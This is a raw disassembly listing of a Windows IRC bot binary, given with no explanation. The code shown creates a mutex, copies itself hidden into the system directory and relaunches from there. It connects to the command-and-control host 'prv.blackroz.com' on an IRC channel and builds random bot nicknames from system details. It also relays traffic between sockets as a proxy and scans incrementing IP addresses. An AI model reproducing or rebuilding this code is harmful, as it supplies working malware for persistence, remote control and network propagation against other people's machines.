loc_405C1E: ; CODE XREF: sub_405AD8+151j
push 32h
call dword_417040 ; Sleep
loc_405C26: ; CODE XREF: sub_405AD8+144j
cmp [ebp+var_30], esi
jz short loc_405C1E
jmp loc_405B88
; ---------------------------------------------------------------------------
loc_405C30: ; CODE XREF: sub_405AD8+63j
; sub_405AD8+97j ...
mov edi, [ebp+arg_0]
loc_405C33: ; CODE XREF: sub_405AD8+142j
push edi
call dword_42B468 ; closesocket
push [ebp+arg_0]
call dword_42B468 ; closesocket
push [ebp+var_40]
call sub_40AD6A
pop ecx
push esi
call dword_417050 ; ExitThread
pop edi
pop esi
sub_405AD8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C55 proc near ; DATA XREF: sub_405AD8+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_40B690
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_42B450 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_405DF6
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_40B630
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_42B3D4 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_42B410 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_405CE5
lea eax, [ebp+var_13C]
push eax
call dword_42B454 ; gethostbyname
jmp short loc_405CF3
; ---------------------------------------------------------------------------
loc_405CE5: ; CODE XREF: sub_405C55+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_42B390 ; gethostbyaddr
loc_405CF3: ; CODE XREF: sub_405C55+8Ej
cmp eax, edi
jz loc_405DF6
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_42B380 ; connect
cmp eax, 0FFFFFFFFh
jz loc_405DF6
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_41BE50
push eax
call sub_40B0B3
push esi
lea eax, [ebp+var_344]
push 0Fh
push eax
call sub_40AA54
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_42CF6C[ebx]
mov dword_42CF64[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_42CF70[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_405E27
push edi
push edi
call dword_417048 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_42CF74[ecx], eax
jz short loc_405DF6
jmp short loc_405DAF
; ---------------------------------------------------------------------------
loc_405DA7: ; CODE XREF: sub_405C55+15Dj
push 32h
call dword_417040 ; Sleep
loc_405DAF: ; CODE XREF: sub_405C55+150j
cmp [ebp+var_20], edi
jz short loc_405DA7
mov ebx, 1000h
loc_405DB9: ; CODE XREF: sub_405C55+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_42B3EC ; recv
cmp eax, edi
jle short loc_405DF6
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_42B420 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_405DB9
loc_405DF6: ; CODE XREF: sub_405C55+44j
; sub_405C55+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_42CF6C[eax]
call dword_42B468 ; closesocket
push [ebp+arg_0]
call dword_42B468 ; closesocket
push [ebp+var_4]
call sub_40AD6A
pop ecx
push edi
call dword_417050 ; ExitThread
pop edi
pop esi
pop ebx
sub_405C55 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405E27 proc near ; DATA XREF: sub_405C55+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_40B690
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_405E5E: ; CODE XREF: sub_405E27+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_42CF70[esi]
call dword_42B3EC ; recv
test eax, eax
jle short loc_405EA5
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_42CF6C[esi]
call dword_42B420 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_405E5E
loc_405EA5: ; CODE XREF: sub_405E27+61j
push dword_42CF70[esi]
call dword_42B468 ; closesocket
push [ebp+var_14]
call sub_40AD6A
pop ecx
push 0
call dword_417050 ; ExitThread
pop edi
pop esi
sub_405E27 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405EC4 proc near ; CODE XREF: sub_4061FA+4Ap
; DATA XREF: .nsp0:off_41BEA8o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_41705C ; GetTickCount
push eax
call sub_40B545
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset aWw ; "Ww|"
push offset aS_0 ; "%s"
push 1Ch
push edi
call sub_40BDE7
xor esi, esi
add esp, 10h
cmp dword_41C0EC, esi
jle short loc_405F1D
loc_405EF7: ; CODE XREF: sub_405EC4+57j
call sub_40B54F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41BEFC
push 1Ch
push edi
call sub_40BDE7
add esp, 14h
inc esi
cmp esi, dword_41C0EC
jl short loc_405EF7
loc_405F1D: ; CODE XREF: sub_405EC4+31j
mov eax, edi
pop edi
pop esi
retn
sub_405EC4 endp
; =============== S U B R O U T I N E =======================================
sub_405F22 proc near ; CODE XREF: sub_406BAB+1FD9p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_41705C ; GetTickCount
push eax
call sub_40B545
pop ecx
call sub_40B54F
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_41C0EC
test esi, esi
jle short loc_405F65
loc_405F4F: ; CODE XREF: sub_405F22+41j
call sub_40B54F
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_405F4F
loc_405F65: ; CODE XREF: sub_405F22+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_405F22 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call dword_41705C ; GetTickCount
push eax
call sub_40B545
pop ecx
lea eax, [ebp-4]
mov esi, offset dword_41BF04
push eax
push esi
call dword_4170C8 ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_40BDE7
xor esi, esi
add esp, 0Ch
cmp dword_41C0EC, esi
jle short loc_405FD8
loc_405FB2: ; CODE XREF: .nsp0:00405FD6j
call sub_40B54F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41BEFC
push 1Ch
push edi
call sub_40BDE7
add esp, 14h
inc esi
cmp esi, dword_41C0EC
jl short loc_405FB2
loc_405FD8: ; CODE XREF: .nsp0:00405FB0j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_41705C ; GetTickCount
push eax
call sub_40B545
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4170D8 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_41BF08
push 1Ch
push edi
call sub_40BDE7
xor esi, esi
add esp, 10h
cmp dword_41C0EC, esi
jle short loc_40604D
loc_406027: ; CODE XREF: .nsp0:0040604Bj
call sub_40B54F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41BEFC
push 1Ch
push edi
call sub_40BDE7
add esp, 14h
inc esi
cmp esi, dword_41C0EC
jl short loc_406027
loc_40604D: ; CODE XREF: .nsp0:00406025j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_422270
mov dword ptr [ebp-94h], 94h
call dword_417000 ; GetVersionExA
call dword_41705C ; GetTickCount
push eax
call sub_40B545
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_4060D7
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4060B7
cmp dword ptr [ebp-84h], 1
jnz short loc_4060A7
mov esi, offset dword_41BF30
loc_4060A7: ; CODE XREF: .nsp0:004060A0j
cmp dword ptr [ebp-84h], 2
jnz short loc_406113
mov esi, offset dword_41BF2C
jmp short loc_406113
; ---------------------------------------------------------------------------
loc_4060B7: ; CODE XREF: .nsp0:00406097j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_4060C7
mov esi, offset dword_41BF28
jmp short loc_406113
; ---------------------------------------------------------------------------
loc_4060C7: ; CODE XREF: .nsp0:004060BEj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40610E
mov esi, offset dword_41BF24
jmp short loc_406113
; ---------------------------------------------------------------------------
loc_4060D7: ; CODE XREF: .nsp0:0040608Ej
cmp dword ptr [ebp-90h], 5
jnz short loc_40610E
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4060F0
mov esi, offset dword_41BF20
jmp short loc_406113
; ---------------------------------------------------------------------------
loc_4060F0: ; CODE XREF: .nsp0:004060E7j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_406100
mov esi, offset dword_41BF1C
jmp short loc_406113
; ---------------------------------------------------------------------------
loc_406100: ; CODE XREF: .nsp0:004060F7j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_41BF18
jz short loc_406113
loc_40610E: ; CODE XREF: .nsp0:004060CEj
; .nsp0:004060DEj
mov esi, offset dword_41BF14
loc_406113: ; CODE XREF: .nsp0:004060AEj
; .nsp0:004060B5j ...
mov edi, [ebp+8]
push esi
push offset dword_41BF0C
push 1Ch
push edi
call sub_40BDE7
xor esi, esi
add esp, 10h
cmp dword_41C0EC, esi
jle short loc_406157
loc_406131: ; CODE XREF: .nsp0:00406155j
call sub_40B54F
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_41BEFC
push 1Ch
push edi
call sub_40BDE7
add esp, 14h
inc esi
cmp esi, dword_41C0EC
jl short loc_406131
loc_406157: ; CODE XREF: .nsp0:0040612Fj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40615D proc near ; CODE XREF: sub_4061FA+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_41705C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
call dword_42B3E0 ; FindWindowA
cmp esi, 0Ah
jbe short loc_4061AC
test eax, eax
mov eax, offset dword_41BF3C
jnz short loc_406195
mov eax, offset byte_422270
loc_406195: ; CODE XREF: sub_40615D+31j
push eax
push esi
push offset dword_41BF34
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_40BDE7
add esp, 14h
jmp short loc_4061C6
; ---------------------------------------------------------------------------
loc_4061AC: ; CODE XREF: sub_40615D+28j
test eax, eax
mov eax, offset dword_41BF3C
jnz short loc_4061BA
mov eax, offset byte_422270
loc_4061BA: ; CODE XREF: sub_40615D+56j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_40B0B3
pop ecx
pop ecx
loc_4061C6: ; CODE XREF: sub_40615D+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_40B5B0
pop ecx
cmp eax, 2
pop esi
jbe short loc_4061F5
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_40AF90
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_40B110
add esp, 18h
loc_4061F5: ; CODE XREF: sub_40615D+77j
mov eax, [ebp+arg_0]
leave
retn
sub_40615D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4061FA proc near ; CODE XREF: sub_4068DA+7Fp
; sub_406A2F+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_406203: ; CODE XREF: sub_4061FA+40j
cmp [ebp+arg_C], 0
jz short loc_406221
lea eax, dword_41BE98[esi]
push eax
push [ebp+arg_C]
call sub_40C250
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40622F
; ---------------------------------------------------------------------------
loc_406221: ; CODE XREF: sub_4061FA+Dj
mov ecx, dword_41BEA4[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40622F: ; CODE XREF: sub_4061FA+25j
test eax, eax
jnz short loc_40623E
add esi, 14h
inc edi
cmp esi, 64h
jb short loc_406203
jmp short loc_40624C
; ---------------------------------------------------------------------------
loc_40623E: ; CODE XREF: sub_4061FA+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_41BEA8[eax*4]
pop ecx
loc_40624C: ; CODE XREF: sub_4061FA+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40625F
push [ebp+arg_0]
call sub_40615D
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40625F: ; CODE XREF: sub_4061FA+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4061FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406264 proc near ; DATA XREF: sub_406331+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A4h], esi
lea eax, [ebp+var_10]
push eax
call sub_40B630
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_42B3D4 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_42B450 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_406322
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_42B380 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_42CF6C[ecx], esi
jz short loc_406322
push [ebp+var_34]
push [ebp+var_28]
call dword_42B45C ; inet_ntoa
push eax
mov edi, offset dword_42BFD8
push offset unk_41BF40
push edi
call sub_40B0B3
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_404555
push edi
call sub_403145
add esp, 28h
loc_406322: ; CODE XREF: sub_406264+5Dj
; sub_406264+7Ej
push esi
call dword_42B468 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_406264 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_406331 proc near ; DATA XREF: sub_406BAB+1BAFo
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_417040
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_40635F: ; CODE XREF: sub_406331+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset dword_41BF68
push eax
call sub_40B0B3
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_42CD60
push eax
call sub_40B110
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_406264
push edi
push edi
call dword_417048 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_4063CB
jmp short loc_4063C6
; ---------------------------------------------------------------------------
loc_4063C2: ; CODE XREF: sub_406331+98j
push 32h
call esi ; Sleep
loc_4063C6: ; CODE XREF: sub_406331+8Fj
cmp [ebp+var_C], edi
jz short loc_4063C2
loc_4063CB: ; CODE XREF: sub_406331+8Dj
push [ebp+var_4]
call dword_417074 ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B210
add esp, 0Ch
push [ebp+arg_0]
call dword_42B31C ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_42B3D0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_40B210
add esp, 0Ch
jmp loc_40635F
sub_406331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406422 proc near ; CODE XREF: sub_40D514+C9p
var_908 = byte ptr -908h
var_804 = byte ptr -804h
var_803 = byte ptr -803h
var_674 = byte ptr -674h
var_574 = byte ptr -574h
var_474 = byte ptr -474h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = byte ptr -168h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 908h
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
mov [ebp+var_8], esi
mov [ebp+var_C], esi
mov [ebp+var_10], offset sub_403B83
push [ebp+var_10]
push large dword ptr fs:0
mov large fs:0, esp
mov edi, dword_41705C
call edi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_47F740, eax
call edi ; GetTickCount
push eax
call sub_40B545
pop ecx
call sub_4045F0
push 2
call dword_42B47C ; SetErrorMode
push 7530h
push offset aKtsFinally ; "KTS-Finally"
push esi
push esi
call dword_4170EC ; CreateMutexA
push eax
call dword_4170E8 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4064A7
push 1
call dword_41706C ; ExitProcess
loc_4064A7: ; CODE XREF: sub_406422+7Bj
lea eax, [ebp+var_804]
push eax
push 202h
call dword_42B35C ; WSAStartup
cmp eax, esi
jnz loc_4068D1
cmp [ebp+var_804], 2
jnz loc_4068CB
xor eax, eax
mov al, [ebp+var_803]
cmp al, 2
jnz loc_4068CB
mov edi, 104h
lea eax, [ebp+var_370]
push edi
push eax
call dword_417080 ; GetSystemDirectoryA
lea eax, [ebp+var_26C]
push edi
push eax
push esi
call dword_41708C ; GetModuleHandleA
push eax
call dword_41704C ; GetModuleFileNameA
lea eax, [ebp+var_574]
push eax
lea eax, [ebp+var_674]
push eax
push esi
lea eax, [ebp+var_26C]
push esi
push eax
call sub_40D21A
lea eax, [ebp+var_574]
push eax
lea eax, [ebp+var_674]
push eax
push offset aSS_3 ; "%s%s"
lea eax, [ebp+var_474]
push edi
push eax
call sub_40BDE7
lea eax, [ebp+var_370]
push eax
lea eax, [ebp+var_26C]
push eax
call sub_40CE60
add esp, 30h
test eax, eax
jnz loc_406702
cmp dword_41C0E0, esi
mov edi, offset byte_41C1A0
jz short loc_4065A6
push edi
mov [ebp+var_4], esi
call sub_40B5B0
sub eax, 4
pop ecx
jz short loc_4065A6
loc_40657D: ; CODE XREF: sub_406422+182j
call sub_40B54F
push 1Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_4]
push edi
add dl, 61h
inc [ebp+var_4]
mov byte_41C1A0[eax], dl
call sub_40B5B0
sub eax, 4
pop ecx
cmp [ebp+var_4], eax
jb short loc_40657D
loc_4065A6: ; CODE XREF: sub_406422+14Aj
; sub_406422+159j
lea eax, [ebp+var_370]
push edi
push eax
lea eax, [ebp+var_168]
push offset aSS_2 ; "%s\\%s"
push eax
call sub_40B0B3
add esp, 10h
lea eax, [ebp+var_168]
push eax
call dword_4170B8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4065E6
lea eax, [ebp+var_168]
push 80h
push eax
call dword_4170B4 ; SetFileAttributesA
loc_4065E6: ; CODE XREF: sub_406422+1B0j
mov edi, dword_4170E4
xor ebx, ebx
jmp short loc_406612
; ---------------------------------------------------------------------------
loc_4065F0: ; CODE XREF: sub_406422+203j
call dword_417044 ; RtlGetLastWin32Error
cmp ebx, esi
jnz short loc_406627
cmp eax, 20h
jz short loc_406604
cmp eax, 5
jnz short loc_406627
loc_406604: ; CODE XREF: sub_406422+1DBj
xor ebx, ebx
push 3A98h
inc ebx
call dword_417040 ; Sleep
loc_406612: ; CODE XREF: sub_406422+1CCj
lea eax, [ebp+var_168]
push esi
push eax
lea eax, [ebp+var_26C]
push eax
call edi ; CopyFileA
test eax, eax
jz short loc_4065F0
loc_406627: ; CODE XREF: sub_406422+1D6j
; sub_406422+1E0j
lea eax, [ebp+var_168]
push eax
call sub_405401
pop ecx
lea eax, [ebp+var_168]
push 7
push eax
call dword_4170B4 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_40B630
push 44h
lea eax, [ebp+var_64]
pop edi
push edi
push esi
push eax
call sub_40B630
mov [ebp+var_64], edi
xor edi, edi
inc edi
add esp, 18h
mov [ebp+var_58], offset byte_422270
mov [ebp+var_38], edi
mov [ebp+var_34], si
call dword_4170E0 ; GetCurrentProcessId
push eax
push edi
push 100000h
call dword_4170D4 ; OpenProcess
lea ecx, [ebp+var_26C]
push ecx
push eax
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_908]
push offset aSDS ; "%s %d \"%s\""
push eax
call sub_40B0B3
add esp, 14h
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+var_370]
push eax
push esi
push 28h
push edi
push esi
lea eax, [ebp+var_908]
push esi
push eax
lea eax, [ebp+var_168]
push eax
call dword_417070 ; CreateProcessA
test eax, eax
jz short loc_4066FF
push 0C8h
call dword_417040 ; Sleep
push [ebp+var_20]
mov edi, dword_417074
call edi ; CloseHandle
push [ebp+var_1C]
call edi ; CloseHandle
call dword_42B344 ; WSACleanup
push esi
call dword_41706C ; ExitProcess
loc_4066FF: ; CODE XREF: sub_406422+2B3j
mov ebx, [ebp+var_4]
loc_406702: ; CODE XREF: sub_406422+139j
cmp dword_47F930, 2
jle short loc_40674E
mov eax, dword_47F934
push dword ptr [eax+4]
call sub_40C3AF
pop ecx
mov edi, eax
push 0FFFFFFFFh
push edi
call dword_4170E8 ; WaitForSingleObject
push edi
call dword_417074 ; CloseHandle
mov eax, dword_47F934
cmp [eax+8], esi
jz short loc_40674E
push 7D0h
call dword_417040 ; Sleep
mov eax, dword_47F934
push dword ptr [eax+8]
call dword_4170DC ; DeleteFileA
loc_40674E: ; CODE XREF: sub_406422+2E7j
; sub_406422+311j
cmp dword_41C0E4, esi
jz short loc_40676B
cmp dword_42B498, esi
jnz short loc_40676B
lea eax, [ebp+var_474]
push eax
call sub_4031BC
pop ecx
loc_40676B: ; CODE XREF: sub_406422+332j
; sub_406422+33Aj
push 0B80h
push esi
push offset dword_42C1E0
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_474]
push esi
push eax
push offset sub_40322D
push esi
push esi
call dword_417048 ; CreateThread
imul ebx, 234h
cmp eax, esi
mov dword_42CF74[ebx], eax
jnz short loc_4067B1
call sub_40B54F
mov dword_47F8B4, eax
loc_4067B1: ; CODE XREF: sub_406422+383j
push 7Fh
mov ebx, offset dword_47F74C
push offset aPrv_blackroz_c ; "prv.blackroz.com"
push ebx
call sub_40B110
mov eax, dword_41C0D0
push 3Fh
mov edi, offset dword_47F7CC
push offset aPrv ; "#prv#"
push edi
mov dword_47F89C, eax
call sub_40B110
push 3Fh
mov esi, offset dword_47F80C
push offset aPr__ ; "pr.."
push esi
call sub_40B110
add esp, 24h
and dword_47F8A0, 0
loc_4067FB: ; CODE XREF: sub_406422+455j
; sub_406422+45Ej ...
and [ebp+var_4], 0
loc_4067FF: ; CODE XREF: sub_406422+415j
and dword_47F8B0, 0
push offset dword_47F748
call sub_4068DA
cmp eax, 2
jz loc_4068C6
cmp dword_47F8B0, 0
jz short loc_406825
dec [ebp+var_4]
loc_406825: ; CODE XREF: sub_406422+3FEj
push 0BB8h
call dword_417040 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4067FF
cmp [ebp+var_C], 0
jz short loc_406879
push 7Fh
push offset aPrv_blackroz_c ; "prv.blackroz.com"
push ebx
call sub_40B110
mov eax, dword_41C0D0
push 3Fh
push offset aPrv ; "#prv#"
push edi
mov dword_47F89C, eax
call sub_40B110
push 3Fh
push offset aPr__ ; "pr.."
push esi
call sub_40B110
add esp, 24h
and [ebp+var_C], 0
jmp short loc_4067FB
; ---------------------------------------------------------------------------
loc_406879: ; CODE XREF: sub_406422+41Bj
cmp byte_41C17C, 0
jz loc_4067FB
push 7Fh
push offset byte_41C17C
push ebx
call sub_40B110
mov eax, dword_41C0D4
push 3Fh
push offset aPrv_0 ; "#prv#"
push edi
mov dword_47F89C, eax
call sub_40B110
push 3Fh
push offset aPr___0 ; "pr.."
push esi
call sub_40B110
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4067FB
; ---------------------------------------------------------------------------
loc_4068C6: ; CODE XREF: sub_406422+3F1j
call sub_40AC17
loc_4068CB: ; CODE XREF: sub_406422+A6j
; sub_406422+B6j
call dword_42B344 ; WSACleanup
loc_4068D1: ; CODE XREF: sub_406422+99j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_406422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4068DA proc near ; CODE XREF: sub_406422+3E9p
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_4068FF: ; CODE XREF: sub_4068DA+E6j
; sub_4068DA+125j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_40B630
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_42B3D4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40564F
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_406A2B
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_40B630
push 0
lea eax, [ebp+var_2C]
push dword_41C0F4
push dword_41C0F0
push eax
call sub_4061FA
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_42CF78
push edi
push eax
call sub_40B110
add esp, 28h
push 6
push 1
push 2
call dword_42B450 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_42CF6C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_42B380 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4069C5
push esi
call dword_42B468 ; closesocket
call sub_405678
push 7D0h
loc_4069BA: ; CODE XREF: sub_4068DA+135j
call dword_417040 ; Sleep
jmp loc_4068FF
; ---------------------------------------------------------------------------
loc_4069C5: ; CODE XREF: sub_4068DA+CDj
